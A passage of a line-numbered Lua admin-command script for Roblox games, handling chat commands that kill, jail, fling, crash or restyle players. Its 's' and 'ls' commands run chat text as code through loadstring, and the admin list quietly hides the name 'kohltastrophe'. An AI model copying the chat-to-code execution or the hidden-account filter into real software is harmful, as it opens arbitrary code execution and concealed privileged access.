  426. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  427. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  428. local ost = {"pa plr","unpa plr"}
  429. local tost = {"oa plr","unoa plr"}
  430. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  431. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  432. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  433. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  434. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  435. end
  436.  
  437. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  438.  
  439. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  440. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  441. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  442. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  443. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  444. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  445. end end
  446.  
  447. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  448. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  449. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  450. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  451. end
  452.  
  453. if msg:lower() == "tools" or msg:lower() == "toollist" then
  454. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  455. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  456. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  457. end
  458.  
  459. if msg:lower():sub(1,2) == "s " then
  460. coroutine.resume(coroutine.create(function()
  461. Output(msg:sub(3), plr)
  462. if script:findFirstChild("ScriptBase") then
  463. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  464. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  465. else loadstring(msg:sub(3))()
  466. end
  467. end))
  468. end
  469.  
  470. if msg:lower():sub(1,3) == "ls " then
  471. coroutine.resume(coroutine.create(function()
  472. if script:findFirstChild("LocalScriptBase") then
  473. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  474. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  475. end
  476. end))
  477. end
  478.  
  479. if msg:lower():sub(1,4) == "ins " then
  480. coroutine.resume(coroutine.create(function()
  481. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  482. if obj and #obj:children() >= 1 and plr.Character then
  483. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  484. end
  485. end))
  486. end
  487.  
  488. if msg:lower():sub(1,5) == "gear " then
  489. coroutine.resume(coroutine.create(function()
  490. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(6)))
  491. if obj and #obj:children() >= 1 and plr.Character then
  492. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  493. end
  494. end))
  495. end
  496.  
  497. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  498. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  499. objects = {}
  500. end
  501.  
  502. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  503. game.Lighting.Ambient = origsettings.abt
  504. game.Lighting.Brightness = origsettings.brt
  505. game.Lighting.TimeOfDay = origsettings.time
  506. game.Lighting.FogColor = origsettings.fclr
  507. game.Lighting.FogEnd = origsettings.fe
  508. game.Lighting.FogStart = origsettings.fs
  509. for i, v in pairs(lobjs) do v:Destroy() end
  510. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  511. end
  512.  
  513. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  514. coroutine.resume(coroutine.create(function()
  515. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  516. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  517. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  518. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  519. end))
  520. end
  521.  
  522. if msg:lower():sub(1,2) == "m " then
  523. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  524. end
  525.  
  526. if msg:lower():sub(1,2) == "h " then
  527. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  528. end
  529.  
  530. if msg:lower():sub(1,3) == "pm " then
  531. local chk1 = msg:lower():sub(4):find(" ") + 3
  532. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  533. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  534. end
  535.  
  536. if msg:lower():sub(1,11) == "resetstats " then
  537. local plrz = GetPlr(plr, msg:lower():sub(12))
  538. for i, v in pairs(plrz) do
  539. coroutine.resume(coroutine.create(function()
  540. if v and v:findFirstChild("leaderstats") then
  541. for a, q in pairs(v.leaderstats:children()) do
  542. if q:IsA("IntValue") then q.Value = 0 end
  543. end
  544. end
  545. end))
  546. end
  547. end
  548.  
  549. if msg:lower():sub(1,4) == "hat " then
  550. local chk1 = msg:lower():sub(5):find(" ") + 4
  551. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  552. for i, v in pairs(plrz) do
  553. coroutine.resume(coroutine.create(function()
  554. if v and v.Character then
  555. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  556. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  557. obj:Destroy()
  558. end
  559. end))
  560. end
  561. end
  562.  
  563. if msg:lower():sub(1,5) == "cape " then
  564. local chk1 = msg:lower():sub(6):find(" ")
  565. local plrz = GetPlr(plr, msg:lower():sub(6))
  566. local str = "torso.BrickColor"
  567. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  568. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  569. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  570. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  571. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  572. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  573. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  574. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  575. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  576. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  577. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  578. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  579. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  580. if BrickColor.new(teststr) ~= nil then str = teststr end
  581. end
  582. for i, v in pairs(plrz) do
  583. coroutine.resume(coroutine.create(function()
  584. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  585. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  586. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  587. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  588. local torso = plr.Character.Torso
  589. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  590. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  591. p.Size = Vector3.new(.2,.2,.2)
  592. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  593. local motor1 = Instance.new("Motor", p)
  594. motor1.Part0 = p
  595. motor1.Part1 = torso
  596. motor1.MaxVelocity = .01
  597. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  598. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  599. local wave = false
  600. repeat wait(1/44)
  601. local ang = 0.1
  602. local oldmag = torso.Velocity.magnitude
  603. local mv = .002
  604. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  605. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  606. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  607. motor1.DesiredAngle = -ang
  608. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  609. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  610. if torso.Velocity.magnitude < .1 then wait(.1) end
  611. until not p or p.Parent ~= torso.Parent
  612. script:Destroy()
  613. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  614. end
  615. end))
  616. end
  617. end
  618.  
  619. if msg:lower():sub(1,7) == "uncape " then
  620. local plrz = GetPlr(plr, msg:lower():sub(8))
  621. for i, v in pairs(plrz) do
  622. coroutine.resume(coroutine.create(function()
  623. if v and v:findFirstChild("PlayerGui") and v.Character then
  624. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  625. end
  626. end))
  627. end
  628. end
  629.  
  630. if msg:lower():sub(1,7) == "noclip " then
  631. local plrz = GetPlr(plr, msg:lower():sub(8))
  632. for i, v in pairs(plrz) do
  633. coroutine.resume(coroutine.create(function()
  634. if v and v:findFirstChild("PlayerGui") then
  635. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  636. cl.Parent = v.PlayerGui cl.Disabled = false
  637. end
  638. end))
  639. end
  640. end
  641.  
  642. if msg:lower():sub(1,5) == "clip " then
  643. local plrz = GetPlr(plr, msg:lower():sub(6))
  644. for i, v in pairs(plrz) do
  645. coroutine.resume(coroutine.create(function()
  646. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  647. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  648. v.Character.Torso.Anchored = false
  649. wait(.1) v.Character.Humanoid.PlatformStand = false
  650. end
  651. end))
  652. end
  653. end
  654.  
  655. if msg:lower():sub(1,5) == "jail " then
  656. local plrz = GetPlr(plr, msg:lower():sub(6))
  657. for i, v in pairs(plrz) do
  658. coroutine.resume(coroutine.create(function()
  659. if v and v.Character and v.Character:findFirstChild("Torso") then
  660. local vname = v.Name
  661. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  662. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  663. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  664. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  665. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  666. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  667. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  668. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  669. end)
  670. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  671. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  672. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  673. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  674. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  675. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  676. local msh2 = msh:Clone() msh2.Parent = back
  677. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  678. local msh4 = msh3:Clone() msh4.Parent = left
  679. v.Character.Torso.CFrame = cf
  680. end
  681. end))
  682. end
  683. end
  684.  
  685. if msg:lower():sub(1,7) == "unjail " then
  686. local plrz = GetPlr(plr, msg:lower():sub(8))
  687. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  688. end
  689.  
  690. if msg:lower():sub(1,11) == "starttools " then
  691. local plrz = GetPlr(plr, msg:lower():sub(12))
  692. for i, v in pairs(plrz) do
  693. coroutine.resume(coroutine.create(function()
  694. if v and v:findFirstChild("Backpack") then
  695. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  696. end
  697. end))
  698. end
  699. end
  700.  
  701. if msg:lower():sub(1,6) == "sword " then
  702. local plrz = GetPlr(plr, msg:lower():sub(7))
  703. for i, v in pairs(plrz) do
  704. coroutine.resume(coroutine.create(function()
  705. if v and v:findFirstChild("Backpack") then
  706. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  707. sword.GripForward = Vector3.new(-1,0,0)
  708. sword.GripPos = Vector3.new(0,0,-1.5)
  709. sword.GripRight = Vector3.new(0,1,0)
  710. sword.GripUp = Vector3.new(0,0,1)
  711. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  712. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  713. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  714. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  715. local Damage = 15
  716. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  717. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  718. SlashSound.Volume = 1
  719. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  720. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  721. LungeSound.Volume = 1
  722. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  723. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  724. UnsheathSound.Volume = 1
  725. local last = 0
  726. script.Parent.Handle.Touched:connect(function(hit)
  727. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  728. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  729. hit.Parent.Humanoid:TakeDamage(Damage)
  730. end
  731. end)
  732. script.Parent.Activated:connect(function()
  733. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  734. script.Parent.Enabled = false
  735. local tick = game:service("RunService").Stepped:wait()
  736. if tick - last <= .2 then
  737. LungeSound:play()
  738. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  739. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  740. wait(.2)
  741. script.Parent.GripForward = Vector3.new(0,0,1)
  742. script.Parent.GripRight = Vector3.new(0,-1,0)
  743. script.Parent.GripUp = Vector3.new(-1,0,0)
  744. wait(.3)
  745. frc:Destroy() wait(.5)
  746. script.Parent.GripForward = Vector3.new(-1,0,0)
  747. script.Parent.GripRight = Vector3.new(0,1,0)
  748. script.Parent.GripUp = Vector3.new(0,0,1)
  749. else
  750. SlashSound:play()
  751. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  752. end
  753. last = tick
  754. script.Parent.Enabled = true
  755. end)
  756. script.Parent.Equipped:connect(function(mouse)
  757. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  758. UnsheathSound:play()
  759. script.Parent.Enabled = true
  760. if not mouse then return end
  761. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  762. end)]] cl.Disabled = false
  763. end
  764. end))
  765. end
  766. end
  767.  
  768. if msg:lower():sub(1,5) == "kill " then
  769. local plrz = GetPlr(plr, msg:lower():sub(6))
  770. for i, v in pairs(plrz) do
  771. coroutine.resume(coroutine.create(function()
  772. if v and v.Character then v.Character:BreakJoints() end
  773. end))
  774. end
  775. end
  776.  
  777. if msg:lower():sub(1,8) == "respawn " then
  778. local plrz = GetPlr(plr, msg:lower():sub(9))
  779. for i, v in pairs(plrz) do
  780. coroutine.resume(coroutine.create(function()
  781. if v and v.Character then v:LoadCharacter() end
  782. end))
  783. end
  784. end
  785.  
  786. if msg:lower():sub(1,5) == "trip " then
  787. local plrz = GetPlr(plr, msg:lower():sub(6))
  788. for i, v in pairs(plrz) do
  789. coroutine.resume(coroutine.create(function()
  790. if v and v.Character and v.Character:findFirstChild("Torso") then
  791. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  792. end
  793. end))
  794. end
  795. end
  796.  
  797. if msg:lower():sub(1,5) == "stun " then
  798. local plrz = GetPlr(plr, msg:lower():sub(6))
  799. for i, v in pairs(plrz) do
  800. coroutine.resume(coroutine.create(function()
  801. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  802. v.Character.Humanoid.PlatformStand = true
  803. end
  804. end))
  805. end
  806. end
  807.  
  808. if msg:lower():sub(1,7) == "unstun " then
  809. local plrz = GetPlr(plr, msg:lower():sub(8))
  810. for i, v in pairs(plrz) do
  811. coroutine.resume(coroutine.create(function()
  812. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  813. v.Character.Humanoid.PlatformStand = false
  814. end
  815. end))
  816. end
  817. end
  818.  
  819. if msg:lower():sub(1,5) == "jump " then
  820. local plrz = GetPlr(plr, msg:lower():sub(6))
  821. for i, v in pairs(plrz) do
  822. coroutine.resume(coroutine.create(function()
  823. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  824. v.Character.Humanoid.Jump = true
  825. end
  826. end))
  827. end
  828. end
  829.  
  830. if msg:lower():sub(1,4) == "sit " then
  831. local plrz = GetPlr(plr, msg:lower():sub(5))
  832. for i, v in pairs(plrz) do
  833. coroutine.resume(coroutine.create(function()
  834. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  835. v.Character.Humanoid.Sit = true
  836. end
  837. end))
  838. end
  839. end
  840.  
  841. if msg:lower():sub(1,10) == "invisible " then
  842. local plrz = GetPlr(plr, msg:lower():sub(11))
  843. for i, v in pairs(plrz) do
  844. coroutine.resume(coroutine.create(function()
  845. if v and v.Character then
  846. for a, obj in pairs(v.Character:children()) do
  847. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  848. end
  849. end
  850. end))
  851. end
  852. end
  853.  
  854. if msg:lower():sub(1,8) == "visible " then
  855. local plrz = GetPlr(plr, msg:lower():sub(9))
  856. for i, v in pairs(plrz) do
  857. coroutine.resume(coroutine.create(function()
  858. if v and v.Character then
  859. for a, obj in pairs(v.Character:children()) do
  860. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  861. end
  862. end
  863. end))
  864. end
  865. end
  866.  
  867. if msg:lower():sub(1,5) == "lock " then
  868. local plrz = GetPlr(plr, msg:lower():sub(6))
  869. for i, v in pairs(plrz) do
  870. coroutine.resume(coroutine.create(function()
  871. if v and v.Character then
  872. for a, obj in pairs(v.Character:children()) do
  873. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  874. end
  875. end
  876. end))
  877. end
  878. end
  879.  
  880. if msg:lower():sub(1,7) == "unlock " then
  881. local plrz = GetPlr(plr, msg:lower():sub(8))
  882. for i, v in pairs(plrz) do
  883. coroutine.resume(coroutine.create(function()
  884. if v and v.Character then
  885. for a, obj in pairs(v.Character:children()) do
  886. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  887. end
  888. end
  889. end))
  890. end
  891. end
  892.  
  893. if msg:lower():sub(1,8) == "explode " then
  894. local plrz = GetPlr(plr, msg:lower():sub(9))
  895. for i, v in pairs(plrz) do
  896. coroutine.resume(coroutine.create(function()
  897. if v and v.Character and v.Character:findFirstChild("Torso") then
  898. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  899. end
  900. end))
  901. end
  902. end
  903.  
  904. if msg:lower():sub(1,4) == "age " then
  905. local plrz = GetPlr(plr, msg:lower():sub(5))
  906. for i, v in pairs(plrz) do
  907. coroutine.resume(coroutine.create(function()
  908. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  909. end))
  910. end
  911. end
  912.  
  913. if msg:lower():sub(1,5) == "fire " then
  914. local plrz = GetPlr(plr, msg:lower():sub(6))
  915. for i, v in pairs(plrz) do
  916. coroutine.resume(coroutine.create(function()
  917. if v and v.Character and v.Character:findFirstChild("Torso") then
  918. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  919. end
  920. end))
  921. end
  922. end
  923.  
  924. if msg:lower():sub(1,7) == "unfire " then
  925. local plrz = GetPlr(plr, msg:lower():sub(8))
  926. for i, v in pairs(plrz) do
  927. coroutine.resume(coroutine.create(function()
  928. if v and v.Character and v.Character:findFirstChild("Torso") then
  929. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  930. end
  931. end))
  932. end
  933. end
  934.  
  935. if msg:lower():sub(1,6) == "smoke " then
  936. local plrz = GetPlr(plr, msg:lower():sub(7))
  937. for i, v in pairs(plrz) do
  938. coroutine.resume(coroutine.create(function()
  939. if v and v.Character and v.Character:findFirstChild("Torso") then
  940. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  941. end
  942. end))
  943. end
  944. end
  945.  
  946. if msg:lower():sub(1,8) == "unsmoke " then
  947. local plrz = GetPlr(plr, msg:lower():sub(9))
  948. for i, v in pairs(plrz) do
  949. coroutine.resume(coroutine.create(function()
  950. if v and v.Character and v.Character:findFirstChild("Torso") then
  951. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  952. end
  953. end))
  954. end
  955. end
  956.  
  957. if msg:lower():sub(1,9) == "sparkles " then
  958. local plrz = GetPlr(plr, msg:lower():sub(10))
  959. for i, v in pairs(plrz) do
  960. coroutine.resume(coroutine.create(function()
  961. if v and v.Character and v.Character:findFirstChild("Torso") then
  962. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  963. end
  964. end))
  965. end
  966. end
